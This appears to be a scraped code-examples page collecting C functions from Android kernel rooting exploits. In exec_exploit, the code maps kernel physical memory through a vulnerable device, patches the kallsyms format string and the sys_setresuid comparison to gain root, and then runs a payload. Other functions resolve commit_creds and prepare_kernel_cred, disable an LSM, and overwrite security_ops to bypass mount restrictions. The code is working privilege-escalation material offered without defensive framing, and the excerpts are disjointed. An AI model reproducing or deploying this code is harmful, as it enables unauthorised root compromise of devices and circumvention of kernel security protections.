Exemplo n.º 1
0
static unsigned long int
get_sys_setresuid_address_in_memory(void *kernel_memory)
{
  if (!kallsyms_in_memory_init(kernel_memory, 0x1000000)) {
    return 0;
  }
  return kallsyms_in_memory_lookup_name("sys_setresuid");
}
Exemplo n.º 2
0
static bool
disable_lsm(void *mmap_base_address, void *user_data)
{
  if (!kallsyms_in_memory_init(mmap_base_address, 0x1000000)) {
    return false;
  }

  return disable_ccs_search_binary_handler(mmap_base_address, user_data);
}
static bool
kallsyms_init(void)
{
  if (!kallsyms_info) {
    kallsyms_info = kallsyms_in_memory_init((void *)BACKDOOR_MMAP_ADDRESS, BACKDOOR_MMAP_SIZE);
    if (!kallsyms_info) {
      return false;
    }
  }

  return true;
}
Exemplo n.º 4
0
static bool
find_variables_in_memory(void *mem, size_t length)
{
  kallsyms *info;

  printf("Search address in memory...\n");

  info = kallsyms_in_memory_init(mem, length);
  if (info) {
    printf("Using kallsyms_in_memory...\n");

    if (!prepare_kernel_cred) {
      prepare_kernel_cred = (prepare_kernel_cred_t)kallsyms_in_memory_lookup_name(info, "prepare_kernel_cred");
    }

    if (!commit_creds) {
      commit_creds = (commit_creds_t)kallsyms_in_memory_lookup_name(info, "commit_creds");
    }

    if (!remap_pfn_range) {
      remap_pfn_range = (void *)kallsyms_in_memory_lookup_name(info, "remap_pfn_range");
    }

    if (!vmalloc_exec) {
      vmalloc_exec = (void *)kallsyms_in_memory_lookup_name(info, "vmalloc_exec");
    }

    if (!ptmx_fops) {
      ptmx_fops = (void *)kallsyms_in_memory_lookup_name(info, "ptmx_fops");

      if (!ptmx_fops) {
        find_ptmx_fops_address(info, mem, length);
      }
    }

    kallsyms_in_memory_free(info);

    if (has_all_essential_addresses()) {
      return true;
    }
  }

  setup_prepare_kernel_cred_address_in_memory(mem, length);
  setup_commit_creds_address_in_memory(mem, length);

  return has_all_essential_addresses();
}
Exemplo n.º 5
0
bool find_variables_in_memory(void *mem, size_t length)
{
  kallsyms *info;

  printf("Search address in memroy...\n");

  info = kallsyms_in_memory_init(mem, length);
  if (info) {
    printf("Using kallsyms_in_memroy...\n");

    if (!prepare_kernel_cred) {
      prepare_kernel_cred = (prepare_kernel_cred_t)kallsyms_in_memory_lookup_name(info, "prepare_kernel_cred");
    }

    if (!commit_creds) {
      commit_creds = (commit_creds_t)kallsyms_in_memory_lookup_name(info, "commit_creds");
    }

    if (!ptmx_fops) {
      ptmx_fops = (void *)kallsyms_in_memory_lookup_name(info, "ptmx_fops");

      if (!ptmx_fops) {
        find_ptmx_fops_address(info, mem, length);
      }
    }

    //FIXME: do not free to avoid crash with fb_mem exploit
    //kallsyms_in_memory_free(info);

    if (prepare_kernel_cred && commit_creds && ptmx_fops) {
      return true;
    }
  }

  setup_prepare_kernel_cred_address_in_memory(mem, length);
  setup_commit_creds_address_in_memory(mem, length);

  return prepare_kernel_cred && commit_creds && ptmx_fops;
}
Exemplo n.º 6
0
int exec_exploit(struct exploit *exp, int args, char **cmd) {

  FILE *f;
  int fd, ret, m, length, index;
  char line[512];
  char *str = NULL;
  char *ptr = NULL;
  unsigned long *paddr = NULL;
  unsigned long *tmp = NULL;
  unsigned long *restore_ptr_setresuid = NULL;
  unsigned long addr_sym = 0;
  unsigned long tmp2 = 0;
  unsigned long start_offset = 0;
  unsigned long *new_offset = NULL;
  bool found = false;
  struct restore_fmt r_fmt = { NULL, 0};
  struct stat device_info;


  // Check if the vulnerable device exists
  if(stat(exp->dev, &device_info) < 0) {
    cleanup(exp);
    return 0;
  }
  

  // Exec pre_init function if defined
  if(exp->pre_init != NULL) {
    if(!exp->pre_init(exp)) {
      cleanup(exp);
      return 0;
    }
  }

  fd = open(exp->dev, O_RDWR);
  if(fd < 0) {
    cleanup(exp);
    return 0;
  }

  exp->fd = fd;

  // Exec init function
  ret = exp->init(exp);
  if(!ret) {
    cleanup(exp);
    return 0;
  }
  
  length = exp->length;
  start_offset = exp->start_offset;
  /* Map the required kernel physical memory */
  paddr = (unsigned long *)mmap(NULL, length, PROT_READ | PROT_WRITE, MAP_SHARED, exp->fd, exp->offset);

  new_offset = paddr;
  if(start_offset) 
    new_offset = (unsigned long *) ( ((unsigned long) new_offset) + (start_offset << 2));

  tmp = new_offset;
  
  if (paddr == MAP_FAILED) {
    cleanup(exp);
    return 0;
  }  

  f = fopen("/proc/kallsyms", "r");
  if(!f) {
    cleanup(exp);
    return 0;
  }

  memset(line, 0, sizeof(line));
  if(!(fgets(line, sizeof(line), f))) {
    cleanup(exp);
    return 0;
  }

  str = strtok(line, " ");
  // Check if it is already possible to read kernel symbols from kallsyms
  if(!strtoul(str, NULL, 16)) {

    if((exp->length - 12) == 0) {
      cleanup(exp);
      return 0;
    }

    // Use libkallsyms first
    if(kallsyms_in_memory_init(tmp, exp->length))
      addr_sym = (unsigned long) kallsyms_in_memory_lookup_name("sys_setresuid");

    // If libkallsyms failed try a second method
    if(!addr_sym) {
    /*
     * search the format string "%pK %c %s\n" in memory
     * and replace "%pK" by "%p" to force display kernel
     * symbols pointer
     */


      for(m = 0; m < (length - 12); m += 4) {
	if(*(unsigned int *)tmp == 0x204b7025 && *(unsigned long *)(tmp+1) == 0x25206325 && ((*(unsigned long *)(tmp+2)) & 0x0000ffff) == 0x00000a73) {
	  r_fmt.ptr_fmt = (unsigned long *)tmp;
	  r_fmt.ptr_fmt_value = *(unsigned long *)tmp;
	  *(unsigned long*)tmp = 0x20207025;
	  found = true;
	  break;	
	}
      
	else if( ((*(unsigned int *)tmp) & 0x0000ffff) == 0x00007025 && *(unsigned long *)(tmp+1) == 0x6325204b && *(unsigned long *)(tmp+2) == 0x0a732520) {
	  r_fmt.ptr_fmt = (unsigned long *)(tmp+1);
	  r_fmt.ptr_fmt_value = *(unsigned long *)(tmp+1);
	  *(unsigned long*)(tmp+1) = 0x63252020;
	  found = true;
	  break;
	}
      
	else if(((*(tmp) & 0x00ffffff) == 0x4b7025) && *(unsigned long *)(tmp+1) == 0x20632520 && ((*((unsigned long *)(tmp+2))) & 0x00ffffff) == 0x000a7325) {
	  r_fmt.ptr_fmt = (unsigned long *)tmp;
	  r_fmt.ptr_fmt_value = *(unsigned long *)tmp;
	  *(unsigned long*)tmp = (*(tmp)) & 0xff20ffff;
	  found = true;
	  break;
	}
	else 
	  tmp++;
      }

      if (found == false) {
	cleanup(exp);
	return 0;
      }     
    
    fclose(f);
    
    // Now we should be able to read /proc/kallsyms
    addr_sym = (unsigned long) kallsyms_get_symbol_address("sys_setresuid");
    }
  }

  // If kallsysms is already mapped use it
  else
    addr_sym = (unsigned long) kallsyms_get_symbol_address("sys_setresuid");

  if(!addr_sym) {
    cleanup(exp);
    return 0;
  } 

  if(addr_sym) {
    tmp2 = (unsigned long) (MEMORY_OFFSET + addr_sym) >> 2;
    tmp2 = tmp2 << 2;
    tmp2 += (unsigned long) new_offset;
    tmp = (unsigned long *)tmp2;

    for(m = 0; m < 128; m += 4) {
      // Search the cmp $r0, 0 check in the mapped sys_setresuid function
      if (*(unsigned long *)tmp == 0xe3500000) {
	// Patch with a cmp $r0, 1 instraction
	restore_ptr_setresuid = tmp;
	*(unsigned long *)tmp = 0xe3500001;
	break;
      }
      tmp++;
    }
  }

  // Finalize
  if(!exp->finalize(exp)) {
    cleanup(exp);
    return 0;
  }

  /* ask for root */
  ret = setresuid(0, 0, 0);

  if(ret) {
    cleanup(exp);
    return 0;
  }

  // If everything was ok we are root now
  exec_payload(args, cmd);

  /* restore memory */
  if(r_fmt.ptr_fmt != NULL)
    *r_fmt.ptr_fmt = r_fmt.ptr_fmt_value;

  if(restore_ptr_setresuid != NULL)
    *(unsigned long *)restore_ptr_setresuid = 0xe3500000;

  msync(paddr, length, 4);
  munmap(paddr, length);
  close(fd);

  if(exp->fd2)
    close(exp->fd2);

  return 1;
}
static bool
detect_mmc_protect(void)
{
  typedef struct {
    mmc_protect_part_type_t type;
    const struct mmc_protect_inf *inf;
    int num;
  } check_t;

  check_t check[] = {
    { MMC_PROTECT_PART_TYPE1, check_mmc_protect_part_type1, n_mmc_protect_part_type1 },
    { MMC_PROTECT_PART_TYPE2, check_mmc_protect_part_type2, n_mmc_protect_part_type2 },
    { MMC_PROTECT_PART_TYPE3, check_mmc_protect_part_type3, n_mmc_protect_part_type3 },
  };

  kallsyms *info;
  unsigned long int addr;
  const struct mmc_protect_inf *p;
  bool ret = false;
  int i;

  info = kallsyms_in_memory_init((void *)BACKDOOR_MMAP_ADDRESS, BACKDOOR_MMAP_SIZE);
  if (info == NULL) {
    printf("kallsyms_in_memory_init(): failed\n");
    return false;
  }

  addr = kallsyms_in_memory_lookup_name(info, "mmc_protect_part");
  if (!addr) {
    goto error_exit;
  }

  printf("Found: mmc_protect_part = 0x%08x\n", addr);

  p = backdoor_convert_to_mmaped_address((void *)addr);

  if (p[0].partition == 0) {
    p++;
  }

  for (i = 0; i < ARRAY_SIZE(check); i++) {
    int n;

    for (n = 0; n < check[i].num; n++) {
      if (p[n].partition != check[i].inf[n].partition) {
        break;
      }

      if (p[n].protect & ~(MMC_PROTECT_READ | MMC_PROTECT_WRITE)) {
        break;
      }
    }

    if (n == check[i].num) {
      printf("Detect partition type: %d\n", check[i].type);

      for (n = 0; n < check[i].num; n++) {
        printf("#%d: partiton %2d: protect %d\n", n, p[n].partition, p[n].protect);
      }

      device_set_symbol_address(DEVICE_SYMBOL(mmc_protect_part), addr);
      device_set_symbol_address(DEVICE_SYMBOL(mmc_protect.part_type),  check[i].type);

      ret = true;
      break;
    }
  }

error_exit:
  kallsyms_in_memory_free(info);
  return ret;
}
bool
unlock_mount(void)
{
  unsigned long int *security_ops;
  unsigned long int fix_func;
  unsigned long int check_mount_func;
  unsigned long int check_umount_func;
  kallsyms *info;
  int count = 0;
  int i;

  security_ops = get_fjsec_security_ops();
  if (security_ops == NULL) {
    printf("security_ops: not found\n");
    return false;
  }

  printf("security_ops = %p\n", security_ops);

  security_ops = backdoor_convert_to_mmaped_address(security_ops);

  info = kallsyms_in_memory_init((void *)BACKDOOR_MMAP_ADDRESS, BACKDOOR_MMAP_SIZE);
  if (info == NULL) {
    printf("kallsyms_in_memory_init(): failed\n");
    return false;
  }

  fix_func = kallsyms_in_memory_lookup_name(info, DEFAULT_CAP_FUNCTION);
  if (!fix_func) {
    printf("fix_func <%s>: not found\n", DEFAULT_CAP_FUNCTION);
    return false;
  }

  check_mount_func = kallsyms_in_memory_lookup_name(info, CHECK_MOUNT_FUNCTION);
  if (!check_mount_func) {
    printf("check_mount_func <%s>: not found\n", CHECK_MOUNT_FUNCTION);
  }

  check_umount_func = kallsyms_in_memory_lookup_name(info, CHECK_UMOUNT_FUNCTION);
  if (!check_umount_func) {
    printf("check_umount_func <%s>: not found\n", CHECK_UMOUNT_FUNCTION);
  }

  for (i = SECURITY_OPS_OFFSET; i < SECURITY_OPS_OFFSET + NUM_SECURITY_OPS; i++) {
    if (security_ops[i]) {
      const char *name = kallsyms_in_memory_lookup_address(info, security_ops[i]);
      if (!name) {
        break;
      }

      if ((check_mount_func && security_ops[i] == check_mount_func)
       || (check_umount_func && security_ops[i] == check_umount_func)) {
        security_ops[i] = (unsigned long int)fix_func;
        count++;
      }
    }
  }

  printf("  %d functions are fixed.\n", count);

  kallsyms_in_memory_free(info);

  return count > 0;
}